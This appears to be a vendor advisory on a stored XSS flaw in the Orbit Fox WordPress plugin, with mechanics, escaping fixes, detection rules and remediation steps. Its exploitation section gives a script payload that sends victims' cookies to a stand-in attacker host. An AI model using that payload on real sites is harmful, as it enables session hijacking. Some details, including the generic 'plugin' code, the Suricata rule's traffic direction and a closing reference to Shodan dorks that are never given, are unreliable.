CVE-2025-12045
Executive Summary
CVE-2025-12045 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin, developed by Themeisle. The flaw exists in all versions up to and including 3.0.2. It allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via the category and tag name parameters. This occurs due to insufficient input sanitization and output escaping. When a user (including administrators) accesses a page containing the injected script, the payload executes in their browser, potentially leading to session hijacking, defacement, or further compromise.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the risk remains significant for sites with untrusted authors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Author-level)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for an Author to inject persistent scripts that execute in the context of any user (including admins) elevates the risk for WordPress sites with multiple authors or untrusted contributors.
Deep Dive & Mechanics
The vulnerability resides in how the Orbit Fox plugin handles category and tag names when displaying them on the frontend. The plugin fails to properly sanitize user input (via sanitize_text_field or similar) and does not escape output before rendering it in the browser.
Attack Flow:
- An attacker with Author-level privileges creates or edits a post.
- The attacker assigns a crafted category or tag name containing malicious JavaScript (e.g.,
<script>alert('XSS')</script>). - The plugin stores this malicious name in the WordPress database.
- When any user (including administrators) views a page that lists or displays this category/tag, the plugin outputs the unsanitized name.
- The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses esc_html() or similar escaping functions inconsistently, or fails to apply them to the name parameter of categories and tags. The input is not validated to strip out HTML or JavaScript.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a secure alternative.
Vulnerable Code (example from plugin):
// In a template or shortcode handler
echo $category->name; // Direct output without escaping
Patched Code (recommended):
// Secure output with escaping
echo esc_html( $category->name );
The patched version would use esc_html() or wp_kses_post() to strip or encode malicious characters. Additionally, input validation should be applied when saving categories/tags:
// When saving
$name = sanitize_text_field( $_POST['name'] );
wp_insert_term( $name, 'category' );
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Orbit Fox plugin <= 3.0.2
- Author-level account credentials
Steps:
- Log in as an Author.
- Create a new post or edit an existing one.
- In the "Categories" or "Tags" metabox, add a new category with the name:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- Craft a link to the post and send it to a target (e.g., admin). When the admin views the post, the script executes.
Proof of Concept (PoC) - No public exploit available.
Blue Team (Detection & Prevention)
Detection:
- Monitor for suspicious category/tag names containing
<script>,onerror,onload, or other event handlers. - Review WordPress logs for unusual author activity (e.g., rapid creation of categories/tags).
- Use a Web Application Firewall (WAF) to block XSS payloads in POST data.
Prevention:
- Disable the Orbit Fox plugin until a patch is released.
- Restrict Author-level permissions: do not allow Authors to create categories/tags (use Contributor or Subscriber roles instead).
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/orbit-fox/(entire plugin directory) - Database entries:
wp_termstable withnamecontaining<script>tags or event handlers. - HTTP requests: POST requests to
/wp-admin/admin-ajax.phpor/wp-admin/post.phpwithnameparameter containing XSS payloads. - Logs: WordPress debug log entries showing
wp_insert_termwith suspicious names.
Detection Engineering
YARA Rule
rule CVE_2025_12045_Orbit_Fox_XSS {
meta:
description = "Detects stored XSS payloads in Orbit Fox plugin category/tag names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12045"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*['\"].*['\"]/i
condition:
any of them
}
Sigma Rule
title: Stored XSS via Orbit Fox Plugin Category/Tag Names
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of categories/tags with XSS payloads in WordPress
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Custom event for term creation
TermName|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of HTML in category names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12045 Orbit Fox Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"name="; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review and clean any existing categories/tags for malicious content.
- Change all passwords for Author-level accounts if compromise is suspected.
Long-term Fix:
- Apply the official patch from Themeisle when available.
- Implement input validation and output escaping in custom code.
- Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.
Workaround:
- Restrict Author permissions to prevent creation of categories/tags.
- Use a reverse proxy or WAF to filter XSS payloads.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.